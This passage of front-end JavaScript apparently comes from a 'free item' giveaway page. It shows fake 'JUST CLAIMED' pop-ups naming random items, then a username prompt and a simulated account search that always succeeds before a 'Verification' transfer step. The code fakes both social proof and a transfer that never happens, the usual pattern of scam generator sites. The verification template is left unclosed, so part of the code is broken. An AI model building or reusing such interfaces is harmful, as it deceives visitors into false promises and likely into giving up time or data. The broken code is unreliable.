JUST CLAIMED '${items[Math.floor(Math.random() * items.length)]}'
`;
$(".cliameds").html(html);
setTimeout(function() {
$(".cliameds").fadeOut();
}, 3000);
}, 5000);
}
function stopNotifications() {
clearInterval(notificationInterval);
$(".cliameds").fadeOut();
}
// بدء الإشعارات عند تحميل الصفحة
startNotifications();
// Function to show purchase popup
const showPurchasePopup = (itemName, itemImage) => {
// إيقاف الإشعارات عند فتح الواجهة
popupOpen = true;
stopNotifications();
const popup = document.getElementById('purchase-popup');
const popupContent = popup.querySelector('.popup-content');
popupContent.innerHTML = `
Get Item
Would you like to Get "${itemName}"?
Please enter a valid username
`;
popupContent.querySelector('.cancel-btn').addEventListener('click', closePurchasePopup);
popupContent.querySelector('#search-user-btn').addEventListener('click', function() {
const clickSound = document.getElementById('clickSound');
clickSound.currentTime = 0;
clickSound.play();
const username = document.getElementById('username-input').value.trim();
if (!username) {
document.querySelector('.user-error').classList.remove('d-none');
return;
}
showSearchingState(username, itemName, itemImage);
});
popup.style.display = 'flex';
document.getElementById('username-input').focus();
}
// Function to close popup
const closePurchasePopup = () => {
document.getElementById('purchase-popup').style.display = 'none';
popupOpen = false;
// إعادة تشغيل الإشعارات عند إغلاق الواجهة
startNotifications();
}
// Function to show searching state
const showSearchingState = (username, itemName, itemImage) => {
const popupContent = document.querySelector('.popup-content');
popupContent.innerHTML = `
Get Item
Searching for @${username}
`;
// Simulate searching with delay
setTimeout(() => {
showSuccessState(username, itemName, itemImage);
}, 2000);
}
// Function to show success state
const showSuccessState = (username, itemName, itemImage) => {
const popupContent = document.querySelector('.popup-content');
popupContent.innerHTML = `
User Found ✅
${username.substring(0, 2).toUpperCase()}
@${username}
User found successfully!
`;
popupContent.querySelector('.get-item-now-btn').addEventListener('click', function() {
const clickSound = document.getElementById('clickSound');
clickSound.currentTime = 0;
clickSound.play();
showVerificationState(username, itemName, itemImage);
});
}
// Function to show verification state
const showVerificationState = (username, itemName, itemImage) => {
const popupContent = document.querySelector('.popup-content');
popupContent.innerHTML = `
Verification
Transferring ${itemName} to @${username}
// Function to show error state (not used anymore but kept for reference)
const showErrorState = (username, itemName, itemImage) => {
const popupContent = document.querySelector('.popup-content');
popupContent.innerHTML = `
Error
User @${username} not found
`;
popupContent.querySelector('#retry-btn').addEventListener('click', function() {
showPurchasePopup(itemName, itemImage);
});
}
// Add golden item effect and sound
$(document).ready(function() {
const dingSound = document.getElementById('dingSound');
let soundEnabled = true;
$('.item-card').click(function() {
// Remove selection from all items
$('.item-card').removeClass('selected');
// Add selection to the clicked item
$(this).addClass('selected');
// Play sound
dingSound.currentTime = 0;
dingSound.play();
// Open purchase popup
const itemName = $(this).find('.item-name').text().trim();
const itemImage = $(this).find('.item-img').attr('src');
showPurchasePopup(itemName, itemImage);
});
});